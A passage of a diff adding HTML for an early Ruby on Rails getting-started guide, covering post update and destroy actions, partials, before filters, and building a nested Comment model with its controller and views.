+<div class="para"><p>In the <tt>update</tt> action, Rails first uses the <tt>:id</tt> parameter passed back from the edit view to locate the database record that's being edited. The <tt>update_attributes</tt> call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post's <tt>show</tt> view. If there are any problems, it's back to <tt>edit</tt> to correct them.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">Sharp-eyed readers will have noticed that the <tt>form_for</tt> declaration is identical for the <tt>new</tt> and <tt>edit</tt> views. Rails generates different code for the two forms because it's smart enough to notice that in the one case it's being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a <em>partial template</em>, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for <tt>create</tt> and <tt>edit</tt>.</td>
+</tr></table>
+</div>
+<h3 id="_destroying_a_post">6.12. Destroying a Post</h3>
+<div class="para"><p>Finally, clicking one of the <tt>destroy</tt> links sends the associated id to the <tt>destroy</tt> action:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> destroy
+  <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+  <span style="color: #009900">@post</span><span style="color: #990000">.</span>destroy
+
+  respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
+    format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> redirect_to<span style="color: #990000">(</span>posts_url<span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
+    format<span style="color: #990000">.</span>xml  <span style="color: #FF0000">{</span> head <span style="color: #990000">:</span>ok <span style="color: #FF0000">}</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>destroy</tt> method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any record to display, so Rails redirects the user's browser to the index view for the model.</p></div>
+</div>
+<h2 id="_drying_up_the_code">7. DRYing up the Code</h2>
+<div class="sectionbody">
+<div class="para"><p>At this point, it’s worth looking at some of the tools that Rails provides to eliminate duplication in your code. In particular, you can use <em>partials</em> to clean up duplication in views and <em>filters</em> to help with duplication in controllers.</p></div>
+<h3 id="_using_partials_to_eliminate_view_duplication">7.1. Using Partials to Eliminate View Duplication</h3>
+<div class="para"><p>As you saw earlier, the scaffold-generated views for the <tt>new</tt> and <tt>edit</tt> actions are largely identical. You can pull the shared code out into a <tt>partial</tt> template. This requires editing the new and edit views, and adding a new template:</p></div>
+<div class="para"><p><tt>new.html.erb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>New post<span style="color: #FF0000">&lt;/h1&gt;</span>
+
+<span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #FF0000">"form"</span> <span style="color: #990000">%&gt;</span>
+
+<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p><tt>edit.html.erb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Editing post<span style="color: #FF0000">&lt;/h1&gt;</span>
+
+<span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #FF0000">"form"</span> <span style="color: #990000">%&gt;</span>
+
+<span style="color: #FF0000">&lt;%= link_to 'Show', @post %&gt;</span> <span style="color: #990000">|</span>
+<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p><tt>_form.html.erb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;% form_for(@post) do |f| %&gt;</span>
+  <span style="color: #FF0000">&lt;%= f.error_messages %&gt;</span>
+
+  <span style="color: #FF0000">&lt;p&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.label :name %&gt;&lt;br /&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.text_field :name %&gt;</span>
+  <span style="color: #FF0000">&lt;/p&gt;</span>
+  <span style="color: #FF0000">&lt;p&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.label :title, "title" %&gt;&lt;br /&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.text_field :title %&gt;</span>
+  <span style="color: #FF0000">&lt;/p&gt;</span>
+  <span style="color: #FF0000">&lt;p&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.label :content %&gt;&lt;br /&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.text_area :content %&gt;</span>
+  <span style="color: #FF0000">&lt;/p&gt;</span>
+  <span style="color: #FF0000">&lt;p&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.submit "Save" %&gt;</span>
+  <span style="color: #FF0000">&lt;/p&gt;</span>
+<span style="color: #FF0000">&lt;% end %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>Now, when Rails renders the <tt>new</tt> or <tt>edit</tt> view, it will insert the <tt>_form</tt> partial at the indicated point. Note the naming convention for partials: if you refer to a partial named <tt>form</tt> inside of a view, the corresponding file is <tt>_form.html.erb</tt>, with a leading underscore.</p></div>
+<div class="para"><p>For more information on partials, refer to the <a href="../layouts_and_rendering.html">Layouts and Rending in Rails</a> guide.</p></div>
+<h3 id="_using_filters_to_eliminate_controller_duplication">7.2. Using Filters to Eliminate Controller Duplication</h3>
+<div class="para"><p>At this point, if you look at the controller for posts, you’ll see some duplication:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsController <span style="color: #990000">&lt;</span> ApplicationController
+  <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+        <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
+    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
+    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+    <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> destroy
+    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+    <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Four instances of the exact same line of code doesn’t seem very DRY. Rails provides <em>filters</em> as a way to address this sort of repeated code. In this case, you can DRY things up by using a <tt>before_filter</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostsController <span style="color: #990000">&lt;</span> ApplicationController
+  before_filter <span style="color: #990000">:</span>find_post<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>show<span style="color: #990000">,</span> <span style="color: #990000">:</span>edit<span style="color: #990000">,</span> <span style="color: #990000">:</span>update<span style="color: #990000">,</span> <span style="color: #990000">:</span>destroy<span style="color: #990000">]</span>
+  <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+        <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
+    <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> destroy
+    <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  private
+    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> find_post
+      <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Rails runs <em>before filters</em> before any action in the controller. You can use the <tt>:only</tt> clause to limit a before filter to only certain actions, or an <tt>:except</tt> clause to specifically skip a before filter for certain actions. Rails also allows you to define <em>after filters</em> that run after processing an action, as well as <em>around filters</em> that surround the processing of actions. Filters can also be defined in external classes to make it easy to share them between controllers.</p></div>
+<div class="para"><p>For more information on filters, see the <a href="actioncontroller_basics.html">Action Controller Basics</a> guide.</p></div>
+</div>
+<h2 id="_adding_a_second_model">8. Adding a Second Model</h2>
+<div class="sectionbody">
+<div class="para"><p>Now that you've seen what's in a model built with scaffolding, it's time to add a second model to the application. The second model will handle comments on blog posts.</p></div>
+<h3 id="_generating_a_model">8.1. Generating a Model</h3>
+<div class="para"><p>Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/generate model Comment commenter<span style="color: #990000">:</span>string body<span style="color: #990000">:</span>text post<span style="color: #990000">:</span>references
+</tt></pre></div></div>
+<div class="para"><p>This command will generate four files:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>app/models/comment.rb</tt> - The model
+</p>
+</li>
+<li>
+<p>
++db/migrate/20081013214407_create_comments.rb - The migration
+</p>
+</li>
+<li>
+<p>
+<tt>test/unit/comment_test.rb</tt> and <tt>test/fixtures/comments.yml</tt> - The test harness.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>First, take a look at <tt>comment.rb</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Comment <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>post
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This is very similar to the <tt>post.rb</tt> model that you saw earlier. The difference is the line <tt>belongs_to :post</tt>, which sets up an Active Record <em>association</em>. You'll learn a little about associations in the next section of this guide.</p></div>
+<div class="para"><p>In addition to the model, Rails has also made a migration to create the corresponding database table:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateComments <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+    create_table <span style="color: #990000">:</span>comments <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+      t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>commenter
+      t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>body
+      t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>post
+
+      t<span style="color: #990000">.</span>timestamps
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+    drop_table <span style="color: #990000">:</span>comments
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>t.references</tt> line sets up a foreign key column for the association between the two models. Go ahead and run the migration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ rake db<span style="color: #990000">:</span>migrate
+</tt></pre></div></div>
+<div class="para"><p>Rails is smart enough to only execute the migrations that have not already been run against this particular database.</p></div>
+<h3 id="_associating_models">8.2. Associating Models</h3>
+<div class="para"><p>Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Each comment belongs to one post
+</p>
+</li>
+<li>
+<p>
+One post can have many comments
+</p>
+</li>
+</ul></div>
+<div class="para"><p>In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that makes each comment belong to a Post:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Comment <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>post
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You'll need to edit the <tt>post.rb</tt> file to add the other side of the association:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  validates_presence_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>title
+  validates_length_of <span style="color: #990000">:</span>title<span style="color: #990000">,</span> <span style="color: #990000">:</span>minimum <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span>
+  has_many <span style="color: #990000">:</span>comments
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable <tt>@post</tt> containing a post, you can retrieve all the comments belonging to that post as the array <tt>@post.comments</tt>.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">For more information on Active Record associations, see the <a href="../association_basics.html">Active Record Associations</a> guide.</td>
+</tr></table>
+</div>
+<h3 id="_adding_a_route">8.3. Adding a Route</h3>
+<div class="para"><p><em>Routes</em> are entries in the <tt>config/routes.rb</tt> file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to <tt>posts</tt>. Then edit it as follows:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>posts <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>post<span style="color: #990000">|</span>
+  post<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>comments
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This creates <tt>comments</tt> as a <em>nested resource</em> within <tt>posts</tt>. This is another part of capturing the hierarchical relationship that exists between posts and comments.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">For more information on routing, see the <a href="../routing_outside_in">Rails Routing from the Outside In</a> guide.</td>
+</tr></table>
+</div>
+<h3 id="_generating_a_controller">8.4. Generating a Controller</h3>
+<div class="para"><p>With the model in hand, you can turn your attention to creating a matching controller. Again, there's a generator for this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>$ script/generate controller Comments index show new edit
+</tt></pre></div></div>
+<div class="para"><p>This creates seven files:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>app/controllers/comments_controller.rb</tt> - The controller
+</p>
+</li>
+<li>
+<p>
+<tt>app/helpers/comments_helper.rb</tt> - A view helper file
+</p>
+</li>
+<li>
+<p>
+<tt>app/views/comments/index.html.erb</tt> - The view for the index action
+</p>
+</li>
+<li>
+<p>
+<tt>app/views/comments/show.html.erb</tt> - The view for the show action
+</p>
+</li>
+<li>
+<p>
+<tt>app/views/comments/new.html.erb</tt> - The view for the new action
+</p>
+</li>
+<li>
+<p>
+<tt>app/views/comments/edit.html.erb</tt> - The view for the edit action
+</p>
+</li>
+<li>
+<p>
+<tt>test/functional/comments_controller_test.rb</tt> - The functional tests for the controller
+</p>
+</li>
+</ul></div>
+<div class="para"><p>The controller will be generated with empty methods for each action that you specified in the call to <tt>script/generate controller</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CommentsController <span style="color: #990000">&lt;</span> ApplicationController
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You'll need to flesh this out with code to actually process requests appropriately in each method. Here's a version that (for simplicity's sake) only responds to requests that require HTML:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CommentsController <span style="color: #990000">&lt;</span> ApplicationController
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
+    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
+    <span style="color: #009900">@comments</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
+    <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> Comment<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> new
+    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
+    <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments<span style="color: #990000">.</span>build
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> create
+    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
+    <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments<span style="color: #990000">.</span>build<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>comment<span style="color: #990000">])</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@comment</span><span style="color: #990000">.</span>save
+      redirect_to post_comment_path<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">,</span> <span style="color: #009900">@comment</span><span style="color: #990000">)</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+      render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"new"</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
+    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
+    <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> Comment<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> update
+    <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>post_id<span style="color: #990000">])</span>
+    <span style="color: #009900">@comment</span> <span style="color: #990000">=</span> Comment<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@comment</span><span style="color: #990000">.</span>update_attributes<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>comment<span style="color: #990000">])</span>
+      redirect_to post_comment_path<span style="color: #990000">(</span><span style="color: #009900">@post</span><span style="color: #990000">,</span> <span style="color: #009900">@comment</span><span style="color: #990000">)</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">else</span></span>
+      render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"edit"</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up; each request for a comment has to keep track of the post to which the comment is attached.</p></div>
+<div class="para"><p>In addition, the code takes advantage of some of the methods available for an association. For example, in the <tt>new</tt> method, it calls</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #009900">@comment</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments<span style="color: #990000">.</span>build
+</tt></pre></div></div>
+<div class="para"><p>This creates a new <tt>Comment</tt> object <em>and</em> sets up the <tt>post_id</tt> field to have the <tt>id</tt> from the specified <tt>Post</tt> object in a single operation.</p></div>
+<h3 id="_building_views">8.5. Building Views</h3>
+<div class="para"><p>Because you skipped scaffolding, you'll need to build views for comments "by hand." Invoking <tt>script/generate controller</tt> will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views.</p></div>
+<div class="para"><p>The <tt>index.html.erb</tt> view:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Comments <span style="font-weight: bold"><span style="color: #0000FF">for</span></span> <span style="color: #FF0000">&lt;%= @post.title %&gt;&lt;/h1&gt;</span>
+
+<span style="color: #FF0000">&lt;table&gt;</span>
+  <span style="color: #FF0000">&lt;tr&gt;</span>
+    <span style="color: #FF0000">&lt;th&gt;</span>Commenter<span style="color: #FF0000">&lt;/th&gt;</span>
+    <span style="color: #FF0000">&lt;th&gt;</span>Body<span style="color: #FF0000">&lt;/th&gt;</span>
+  <span style="color: #FF0000">&lt;/tr&gt;</span>
+
+<span style="color: #FF0000">&lt;% for comment in @comments %&gt;</span>
+  <span style="color: #FF0000">&lt;tr&gt;</span>
+    <span style="color: #FF0000">&lt;td&gt;&lt;%=h comment.commenter %&gt;&lt;/td&gt;</span>
+    <span style="color: #FF0000">&lt;td&gt;&lt;%=h comment.body %&gt;&lt;/td&gt;</span>
+    <span style="color: #FF0000">&lt;td&gt;&lt;%= link_to 'Show', post_comment_path(@post, comment) %&gt;&lt;/td&gt;</span>
+    <span style="color: #FF0000">&lt;td&gt;&lt;%= link_to 'Edit', edit_post_comment_path(@post, comment) %&gt;&lt;/td&gt;</span>
+    <span style="color: #FF0000">&lt;td&gt;&lt;%= link_to 'Destroy', post_comment_path(@post, comment), :confirm =&gt;</span> <span style="color: #FF0000">'Are you sure?'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>method <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>delete <span style="color: #990000">%&gt;</span><span style="color: #FF0000">&lt;/td&gt;</span>
+  <span style="color: #FF0000">&lt;/tr&gt;</span>
+<span style="color: #FF0000">&lt;% end %&gt;</span>
+<span style="color: #FF0000">&lt;/table&gt;</span>
+
+<span style="color: #FF0000">&lt;br /&gt;</span>
+
+<span style="color: #FF0000">&lt;%= link_to 'New comment', new_post_comment_path(@post) %&gt;</span>
+<span style="color: #FF0000">&lt;%= link_to 'Back to Post', @post %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>new.html.erb</tt> view:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>New comment<span style="color: #FF0000">&lt;/h1&gt;</span>
+
+<span style="color: #FF0000">&lt;% form_for([@post, @comment]) do |f| %&gt;</span>
+  <span style="color: #FF0000">&lt;%= f.error_messages %&gt;</span>
+
+  <span style="color: #FF0000">&lt;p&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.label :commenter %&gt;&lt;br /&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.text_field :commenter %&gt;</span>
+  <span style="color: #FF0000">&lt;/p&gt;</span>
+  <span style="color: #FF0000">&lt;p&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.label :body %&gt;&lt;br /&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.text_area :body %&gt;</span>
+  <span style="color: #FF0000">&lt;/p&gt;</span>
+  <span style="color: #FF0000">&lt;p&gt;</span>
